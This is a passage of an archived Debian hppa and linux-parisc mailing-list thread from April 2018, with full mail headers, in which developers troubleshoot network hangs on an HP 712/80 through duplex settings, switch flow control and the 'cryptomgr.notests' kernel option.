 <9671ecea-1353-df1c-ebbd-24a5b7d3008b@oetec.com>
 <de1ac156-926a-c187-f15e-2c3da9251c82@web.de>
 <f34b2787-17e5-4fef-f028-543082ff95b6@gmx.de>
 <103f23dc-0d00-2ca1-fb98-271d1e03ad90@web.de>
 <20180420112426.3c8be653@wim.jer>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1524424528 14643 195.159.176.226 (22 Apr 2018 19:15:28 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 22 Apr 2018 19:15:28 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.7.0
Cc: Helge Deller <deller@gmx.de>, debian-hppa@lists.debian.org,
 linux-parisc <linux-parisc@vger.kernel.org>, Dennis Clarke <dc@oetec.com>
To: Jeroen Roovers <jer@gentoo.org>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Sun Apr 22 21:15:23 2018
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1fAKSJ-0003in-Kq
	for debian-hppa@m.gmane.org; Sun, 22 Apr 2018 21:15:23 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id BB7DB470; Sun, 22 Apr 2018 19:17:34 +0000 (UTC)
X-Mailbox-Line: From debian-hppa-request@lists.debian.org  Sun Apr 22 19:17:34 2018
Old-Return-Path: <frank.scheiner@web.de>
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id 2605C46D
	for <lists-debian-hppa@bendel.debian.org>; Sun, 22 Apr 2018 19:17:26 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-7.699 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FREEMAIL_FROM=0.001, LDO_WHITELIST=-5,
	RCVD_IN_DNSWL_LOW=-0.7] autolearn=ham autolearn_force=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id kIG7w1MSXsyZ for <lists-debian-hppa@bendel.debian.org>;
	Sun, 22 Apr 2018 19:17:23 +0000 (UTC)
X-policyd-weight: using cached result; rate: -7
Original-Received: from mout.web.de (mout.web.de [212.227.17.11])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(Client did not present a certificate)
	by bendel.debian.org (Postfix) with ESMTPS id D9E47469
	for <debian-hppa@lists.debian.org>; Sun, 22 Apr 2018 19:17:22 +0000 (UTC)
Original-Received: from [192.168.178.29] ([87.155.234.198]) by smtp.web.de (mrweb103
 [213.165.67.124]) with ESMTPSA (Nemesis) id 0MCImL-1fJR9f2otN-009Byw; Sun, 22
 Apr 2018 21:17:14 +0200
In-Reply-To: <20180420112426.3c8be653@wim.jer>
Content-Language: en-US
X-Provags-ID: V03:K1:mOcspP/zURTV77XuY2+61RuIdAz1NSntyGqd7/3n19IIrAL/wTE
 d960CAomQ6B5//3mP4T40B04dEA5SozAbj5XHgWxuLavtOfvRLWQSEnvfh/CqCHwcDz7VaY
 4NJF1nyqlqq5JeADHjfTEn+rHIV2kRV9PzGufl4N139z7PmaJ9gP6gwYoAkZ3PTIOxdLeMN
 bF150GjDEkh3hXLPDzhug==
X-UI-Out-Filterresults: notjunk:1;V01:K0:/21eZru0fsk=:DiJBE5wjfoN68tcmlFW+Nb
 h8S+2YXoBrll95iuVo0oapB106scjNj6VWzeFuh4uqN5j2fyrvuLWmLJjHeY/yOdM6xbHw0Q/
 Qk0wCmKoeuFBDTuaNA6Jz2XBYsGodK2qGW47UUybdxzLowoAYR+lLR7Sny4CnUXT9+lYeSlMT
 7Ebdkq1I0mqrODK5aEw8mP+ohWgTA0HCBBvSn7H4VOIqos8zdDcHKdqjASlPJEefUbS8tkqFg
 biLZ7THEpbz372H5HfvpoU8jIKrmIR82YALwUXEq6DLK3XSjRunKqrxBJ7TpJJnfYfs9uMLrK
 kIoEbeTDvyUnCCpUpRVgiExDiEkIQmaF4yNKRMGmGIwZiP9PSWETe9Ky3k4JalFE4z1fmgRI4
 Ludia+C9IfzYYKfYMf2RgtZ61chNhCXUmax8Sm+mwONBv3xA3RZxZrTac1bB2I0DGZu+iXrhl
 MedPA2gvQ9LY3/txKAULh6oHnmepuLMkxb6bjCENqsTAkHwHDFtQsECYrORCiaXf9tyuCyO+m
 MXOFlzJbm4nDQjrT5TSkiUl1IB7hx00adMmfewOxW519xsQZSK06/HZMTkls8Rv8K+97cKegg
 vq38q/YfEcTXMxb9mt4rzLiYBBsPQSmaE21CRYvPU9wyBjMRxe8VOt3WX123OlSi492XXvNSe
 ck4Ky2uAxOKtwU9cb9QLMjrP5Q2KChA82hnXtEonvTgoR+nTib/XfGLUqGDopk7LhulDIqBfm
 XeoONNIC3rsevIORn42FwGP6Wj174///ahs+nsoxgVQG9akLVwS33K2QY+R4IyVnulphNBZs 
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <_zgIW75MTXE.A.8NB.O_N3aB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8714
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <https://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
List-Archive: https://lists.debian.org/msgid-search/2b4b37c1-b719-8ece-2de3-33075450e6da@web.de
Resent-Date: Sun, 22 Apr 2018 19:17:34 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7730 gmane.linux.ports.parisc:28550
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7730>

On 04/20/2018 11:24 AM, Jeroen Roovers wrote:
> You could try setting the internal NIC to half-duplex, or perhaps use a
> (passive) 10BASE-T hub instead of a switch if you cannot configure that
> internally, on the kernel command line, or doing it in userland is too
> late.

I actually had the port configured to half-duplex at first. But I was 
distracted by the high number of collisions taking place and so changed 
it to full-duplex.

Cheers,
Frank



From - Thu Nov 08 21:41:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Frank Scheiner <frank.scheiner@web.de>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: Ultra5 successful install - PGX64 issues
Date: Sun, 22 Apr 2018 21:17:25 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <5902c913-93a2-bb5f-5fd6-b45bcff94158@web.de>
References: <CAFC0-0XVQUVHmM+TT4qUK_djRGx-eV+d=5FTpGyjRR40mwAv=Q@mail.gmail.com>
 <6a4e3490-dd3e-5832-43be-dba8211ce6e4@physik.fu-berlin.de>
 <dd60b1eb-595d-f208-2885-c958a5ff3a4c@blastwave.org>
 <16600fdc-6bba-1e2d-f106-560b8ea366c8@physik.fu-berlin.de>
 <9671ecea-1353-df1c-ebbd-24a5b7d3008b@oetec.com>
 <de1ac156-926a-c187-f15e-2c3da9251c82@web.de>
 <f34b2787-17e5-4fef-f028-543082ff95b6@gmx.de>
 <103f23dc-0d00-2ca1-fb98-271d1e03ad90@web.de>
 <20180420112426.3c8be653@wim.jer>
 <5f57a530-c9e8-0fbd-4eba-ba6995320c10@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1524424541 15503 195.159.176.226 (22 Apr 2018 19:15:41 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 22 Apr 2018 19:15:41 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.7.0
Cc: Helge Deller <deller@gmx.de>, debian-hppa@lists.debian.org,
 linux-parisc <linux-parisc@vger.kernel.org>, Dennis Clarke <dc@oetec.com>
To: John David Anglin <dave.anglin@bell.net>, Jeroen Roovers <jer@gentoo.org>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Sun Apr 22 21:15:36 2018
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1fAKSW-0003xI-LV
	for debian-hppa@m.gmane.org; Sun, 22 Apr 2018 21:15:36 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id DFDD246C; Sun, 22 Apr 2018 19:17:47 +0000 (UTC)
X-Mailbox-Line: From debian-hppa-request@lists.debian.org  Sun Apr 22 19:17:47 2018
Old-Return-Path: <frank.scheiner@web.de>
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id 1DE851F9
	for <lists-debian-hppa@bendel.debian.org>; Sun, 22 Apr 2018 19:17:39 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-7.599 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1, FREEMAIL_FROM=0.001, LDO_WHITELIST=-5,
	RCVD_IN_DNSWL_LOW=-0.7] autolearn=ham autolearn_force=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id djTrxFbvtl2l for <lists-debian-hppa@bendel.debian.org>;
	Sun, 22 Apr 2018 19:17:36 +0000 (UTC)
X-policyd-weight: using cached result; rate:hard: -7
Original-Received: from mout.web.de (mout.web.de [212.227.17.11])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(Client did not present a certificate)
	by bendel.debian.org (Postfix) with ESMTPS id 131B946C
	for <debian-hppa@lists.debian.org>; Sun, 22 Apr 2018 19:17:36 +0000 (UTC)
Original-Received: from [192.168.178.29] ([87.155.234.198]) by smtp.web.de (mrweb102
 [213.165.67.124]) with ESMTPSA (Nemesis) id 0LnS4I-1eToP90Lx0-00hb7h; Sun, 22
 Apr 2018 21:17:29 +0200
In-Reply-To: <5f57a530-c9e8-0fbd-4eba-ba6995320c10@bell.net>
Content-Language: en-US
X-Provags-ID: V03:K1:bwjS8NQHpwlXeYiThE9s3CE5xapSbyojIJJaa8mwt0TJARA7VuW
 12CG89LZza6072jyZKDid4/R9E5/LP4We7u47ubjGcEd8Ya/PrmgREVpWuu691FcBXDJqVX
 xjldyOAGK9YjVy3fGSuesqnS8BfxXE36TeEbfTehKnAnMUI7TuzTyao0HtYS7rMFi/n5G1A
 r03IpSHhLfl6ZEFK/MBlQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:mo26A4IDrgU=:1W/4S1HOVT0JLKWf3QcfPv
 yhpJktGPvY3jdEj8pmIE+DArJsxJw8LRszRLqg0Aw9QdKbzrM3b8FgGsysZIXhBjeZPY3JnGh
 JJchSw0V28YM/4cyffoqTnvy7edJy/eddOgynDlsb5PeRFIKyLK+qRfHo79Qm96KWBbVIaJUO
 zhkvK7xrFHNfbWbK0lqF4c0JwA3ZLXxxsII56+z7Y5pTAt2nLnH2iUfXgCLNSdNMyU3LNYlMW
 5ZGYt9/hSyMROG1Iappxq/Vl15vmLSca5iG9UWnDm7nL4tNc/fAOWxXtvJ71Stc3f68pe4E+X
 JuQfQrWQFHA42P8xGQGwtBwqEQl3g3sS4VT4dx78H1B2K2fpeXEdgru+LwauHLfB7S3iA5gBE
 lRrRxUQHkiFO1tPf9Csj82J/roN/N1kEj/gNtO96FG7cNWAgFXbFSdU5uIR1QAaqm4cY5wRZA
 8TzpDruSQrNbG39mtWUJrG9eIyFZm5DOJFiTzypoZbb+aTdji4LETKdTorHH5ve+ziqyNEB5e
 oVm8ejX46CQaAevOwWLUqaO5FJfKKE3rFoqz+ZCZp5LJH76nkxoLKukyf2jOC+yRxlaLi3kNv
 HsHxxHc/bvihanwCix9Rjur0ZplOG35+wYsXuqvkAJWZLJA2GCSPVWCOoIpur9gX2Wc6pfrLB
 y49inzVANXgQh14yXwD4IYtvpS0GtUGxjEsUCV2beqGE95LgRSIWjEFV83GqgiCQQI11cExc1
 8MahZwEIsz2pUyzEGFDK7rPZJxdDPfuItw5YaljNW1ecnjCcXlmDh2k/H724gD4KVKd/F6p/ 
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <h_bvpm3L6YD.A.ETB.b_N3aB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8715
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <https://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
List-Archive: https://lists.debian.org/msgid-search/5902c913-93a2-bb5f-5fd6-b45bcff94158@web.de
Resent-Date: Sun, 22 Apr 2018 19:17:47 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7731 gmane.linux.ports.parisc:28551
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7731>

On 04/21/2018 02:22 AM, John David Anglin wrote:
>  From the manual, it seems the 10BASE-T port is half duplex (CSMA/CD). 
> The MAU
> interface is definitely half duplex and the word duplex is not mentioned 
> in the manual.

I also didn't find any info about half-/full-duplex in the two manuals I 
have at hand for the 712/80 ("Service Handbook" and "Technical Reference 
Manual"). To be sure, which one did you consult?

> 
> The 10BASE-T port probably doesn't support auto negotiation, so you will 
> need to manually
> set the switch port to 10BASE-T half duplex if it doesn't automatically 
> configure to this mode
> when auto negotiation fails.

Did this at first but then went for full-duplex again. Today I started 
with full-duplex and actively cooling the heatsink (now smoothed and 
with fresh thermal grease applied) of the 712/80's processor, but that 
didn't help alone. The issue hit me after entering the password during 
login.

Then I reconfigured half-duplex and tried again. The machine now worked 
through the whole login and I could also do an `apt update` without 
issues afterwards. Then I let it alone for about twenty minutes and on 
return I did an `apt list --upgradable` which triggered the issue again.

:-/

> 
> Some switches support a half-duplex back pressure form of flow control.

I'll try that now. According to the documentation my switch can create 
back-pressure as form of flow control.

Cheers,
Frank



From - Thu Nov 08 21:41:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Frank Scheiner <frank.scheiner@web.de>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: Ultra5 successful install - PGX64 issues
Date: Sun, 22 Apr 2018 21:17:40 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <eb611f8b-00de-d7bb-6d6b-245f58b5d22b@web.de>
References: <CAFC0-0XVQUVHmM+TT4qUK_djRGx-eV+d=5FTpGyjRR40mwAv=Q@mail.gmail.com>
 <6a4e3490-dd3e-5832-43be-dba8211ce6e4@physik.fu-berlin.de>
 <dd60b1eb-595d-f208-2885-c958a5ff3a4c@blastwave.org>
 <16600fdc-6bba-1e2d-f106-560b8ea366c8@physik.fu-berlin.de>
 <9671ecea-1353-df1c-ebbd-24a5b7d3008b@oetec.com>
 <de1ac156-926a-c187-f15e-2c3da9251c82@web.de>
 <f34b2787-17e5-4fef-f028-543082ff95b6@gmx.de>
 <103f23dc-0d00-2ca1-fb98-271d1e03ad90@web.de>
 <2847ef55-b5b1-1867-df6a-ad5ce224abd4@gmx.de>
 <ece0086b-6c7f-4c61-b101-475f085ec120@bell.net>
 <a0480809-8512-779d-e59c-c93775dc378a@gmx.de>
 <e6abed84-ef22-ded4-b256-eb96854ad01c@bell.net>
 <dce63ac1-924f-60f5-5535-2d927de7c59a@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1524424555 16539 195.159.176.226 (22 Apr 2018 19:15:55 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 22 Apr 2018 19:15:55 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.7.0
Cc: debian-hppa@lists.debian.org, linux-parisc
 <linux-parisc@vger.kernel.org>, Dennis Clarke <dc@oetec.com>
To: Helge Deller <deller@gmx.de>, John David Anglin <dave.anglin@bell.net>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Sun Apr 22 21:15:51 2018
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1fAKSk-0004DD-BK
	for debian-hppa@m.gmane.org; Sun, 22 Apr 2018 21:15:50 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id 8CAA546D; Sun, 22 Apr 2018 19:18:01 +0000 (UTC)
X-Mailbox-Line: From debian-hppa-request@lists.debian.org  Sun Apr 22 19:18:01 2018
Old-Return-Path: <frank.scheiner@web.de>
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id EC9D5469
	for <lists-debian-hppa@bendel.debian.org>; Sun, 22 Apr 2018 19:17:52 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-7.579 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1, FREEMAIL_FROM=0.001, LDO_WHITELIST=-5,
	MURPHY_DRUGS_REL8=0.02, RCVD_IN_DNSWL_LOW=-0.7]
	autolearn=ham autolearn_force=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id tEDnyG4MqhxG for <lists-debian-hppa@bendel.debian.org>;
	Sun, 22 Apr 2018 19:17:50 +0000 (UTC)
X-policyd-weight: using cached result; rate:hard: -7
Original-Received: from mout.web.de (mout.web.de [212.227.17.11])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(Client did not present a certificate)
	by bendel.debian.org (Postfix) with ESMTPS id 329991F9
	for <debian-hppa@lists.debian.org>; Sun, 22 Apr 2018 19:17:50 +0000 (UTC)
Original-Received: from [192.168.178.29] ([87.155.234.198]) by smtp.web.de (mrweb101
 [213.165.67.124]) with ESMTPSA (Nemesis) id 0MX0Q4-1evyTL0L8m-00W0c0; Sun, 22
 Apr 2018 21:17:43 +0200
In-Reply-To: <dce63ac1-924f-60f5-5535-2d927de7c59a@gmx.de>
Content-Language: en-US
X-Provags-ID: V03:K1:CaXwY0wr5bqSyUsYh1Y6Ow9BXJOWOBzpCrVV4yU3Pucz14bhNTy
 QEUrGIiELr912bVbg8qNImnv35rN4eOqO27t4iKzAo5IiDhl+fRNyw9omfddcDmUcKNOKeZ
 SnHDigIF+xI+ohwPviZfS89tm5Iso6IrM0MEDXMSgTbAwBb4/wILu2KwD4EfBD102hVCr3l
 FBf/7+8cAGIZA/+jHkzbw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:5ZmxNOwtEJU=:pCzBPsEEJf+gQZeLmWGTdy
 vmhbYRLFijSGr339XAdEjIt8jb7s+/P0l7rbSjYb/vYA8H7HL0iyzJEFs3ejK0NobhYXHMQky
 l3vtjHAGetOTfIymmLErd/cNKUL+PMuwiImLeYsnSFqZImoxwE9vWzo3hTlAwAAP0ZYQrI7Sz
 QykSxfULT+0EaKW4SiAC/EpYpbB3B/rbOMSOolKM2EbuQ9XEF5PxyMsuQ80c1le/SNORI4SY/
 76IZt0onG87BaTsLkWersDXhR7aigOqsOK2WD9wHOFz8/s4aGpDtSd/lIftHHZaRPgSLMVmYM
 NR/cSyumt8iuqy9/nEFPk9vBfgL+YFcKH3LeIii6vQPa6KCJr9O4vhbykhB+TsLeErOir6ZIl
 FlJQ3z4da2S50pdFFN5Mpxuh7pLi4gSKci5zZHwRTFLdo6q2D4O3C6mlEz4m+gMRkKFS/SpTd
 5DriSLZ59/VB8OxTF9A9mThIJgfjGxCxFOsV4ZSSqslpN80hiQYSZvVcPpcHbGC3FZOn1tHvC
 NUvaWyDTO6UQxQ6CQjPWaBZQ2eLT4UDU7PjZNdhFYyeol0DInN2TUS7D07R9kb2pZSN1cDHtH
 dh2Zmwo05b+EevJ+oDTKfmqVFDyjX7lMOtYNT3PmeWilLIlvtJFABgos13mquJxe9n1NTiJHO
 vdc/uNq6hUT3crCYZ4xfXVIrNFdxEwQNft6asMZ2lgLcMwJBGn1xmFaUBnXz1bwp9WvpSXHZ7
 qhrqLfSpX7rKx5UNTXPR0ZbHloGmTzxv5L75ytnidqnpPReh4iHeeuX3C2Bag1C0RrEBofFi 
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <F9qRYd9od9L.A.8WB.p_N3aB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8716
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <https://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
List-Archive: https://lists.debian.org/msgid-search/eb611f8b-00de-d7bb-6d6b-245f58b5d22b@web.de
Resent-Date: Sun, 22 Apr 2018 19:18:01 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7732 gmane.linux.ports.parisc:28552
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7732>

On 04/22/2018 11:06 AM, Helge Deller wrote:
> On 22.04.2018 00:36, John David Anglin wrote:
>> On 2018-04-21 6:17 PM, Helge Deller wrote:
>>>> It can be disabled with "cryptomgr.notests" on command line.
>>> Did you tested this?
>> Not recently.  I found this when I was working on the cache.TLB patch.  It caused a stall in one version.
>>> Unless I typed it wrong it didn't worked on my B160L:
>>> [    0.000000] Kernel command line: root=/dev/sda5 crpytomgr.notests HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux
> 
>> You typed it wrong.
> 
> Yes, my fault.
> "cryptomgr.notests" did worked as expected.

Great, that's pretty useful for slower machines like the 712/80.

Cheers,
Frank



From - Thu Nov 08 21:41:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: Ultra5 successful install - PGX64 issues
Date: Sun, 22 Apr 2018 16:10:45 -0400
Lines: 51
Approved: news@gmane.org
Message-ID: <24d6336b-5533-36c0-fb3e-9924fd4e3934@bell.net>
References: <CAFC0-0XVQUVHmM+TT4qUK_djRGx-eV+d=5FTpGyjRR40mwAv=Q@mail.gmail.com>
 <6a4e3490-dd3e-5832-43be-dba8211ce6e4@physik.fu-berlin.de>
 <dd60b1eb-595d-f208-2885-c958a5ff3a4c@blastwave.org>
 <16600fdc-6bba-1e2d-f106-560b8ea366c8@physik.fu-berlin.de>
 <9671ecea-1353-df1c-ebbd-24a5b7d3008b@oetec.com>
 <de1ac156-926a-c187-f15e-2c3da9251c82@web.de>
 <f34b2787-17e5-4fef-f028-543082ff95b6@gmx.de>
 <103f23dc-0d00-2ca1-fb98-271d1e03ad90@web.de>
 <20180420112426.3c8be653@wim.jer>
 <5f57a530-c9e8-0fbd-4eba-ba6995320c10@bell.net>
 <5902c913-93a2-bb5f-5fd6-b45bcff94158@web.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1524427739 26326 195.159.176.226 (22 Apr 2018 20:08:59 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 22 Apr 2018 20:08:59 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.7.0
Cc: Helge Deller <deller@gmx.de>, debian-hppa@lists.debian.org,
 linux-parisc <linux-parisc@vger.kernel.org>, Dennis Clarke <dc@oetec.com>
To: Frank Scheiner <frank.scheiner@web.de>, Jeroen Roovers <jer@gentoo.org>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Sun Apr 22 22:08:54 2018
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1fALI6-0006mG-7G
	for debian-hppa@m.gmane.org; Sun, 22 Apr 2018 22:08:54 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id 1E1D5206; Sun, 22 Apr 2018 20:11:05 +0000 (UTC)
X-Mailbox-Line: From debian-hppa-request@lists.debian.org  Sun Apr 22 20:11:05 2018
Old-Return-Path: <dave.anglin@bell.net>
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id 0326A200
	for <lists-debian-hppa@bendel.debian.org>; Sun, 22 Apr 2018 20:10:56 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-7.599 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1, LDO_WHITELIST=-5,
	RCVD_IN_DNSWL_LOW=-0.7, UNPARSEABLE_RELAY=0.001]
	autolearn=ham autolearn_force=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id r_JJ_cMQnGWI for <lists-debian-hppa@bendel.debian.org>;
	Sun, 22 Apr 2018 20:10:50 +0000 (UTC)
Original-Received: from mtlfep01.bell.net (belmont79srvr.owm.bell.net [184.150.200.79])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "", Issuer "Openwave Messaging Inc." (not verified))
	by bendel.debian.org (Postfix) with ESMTPS id 7BFF47D
	for <debian-hppa@lists.debian.org>; Sun, 22 Apr 2018 20:10:50 +0000 (UTC)
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20180422201046.ONER10498.mtlfep01.bell.net@mtlspm02.bell.net>
          for <debian-hppa@lists.debian.org>;
          Sun, 22 Apr 2018 16:10:46 -0400
Original-Received: from [192.168.2.49] (really [69.158.175.55]) by mtlspm02.bell.net
          with ESMTP
          id <20180422201046.USUW6415.mtlspm02.bell.net@[192.168.2.49]>;
          Sun, 22 Apr 2018 16:10:46 -0400
In-Reply-To: <5902c913-93a2-bb5f-5fd6-b45bcff94158@web.de>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=IaFoYSia c=1 sm=0 tr=0 a=V8DPTAhloC/wURew+oITug==:17 a=IkcTkHD0fZMA:10 a=Kd1tUaAdevIA:10 a=FBHGMhGWAAAA:8 a=dD9yOPLf0L21dYf5hFAA:9 a=QEXdDO2ut3YA:10 a=9gvnlMMaQFpL9xblJ6ne:22
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
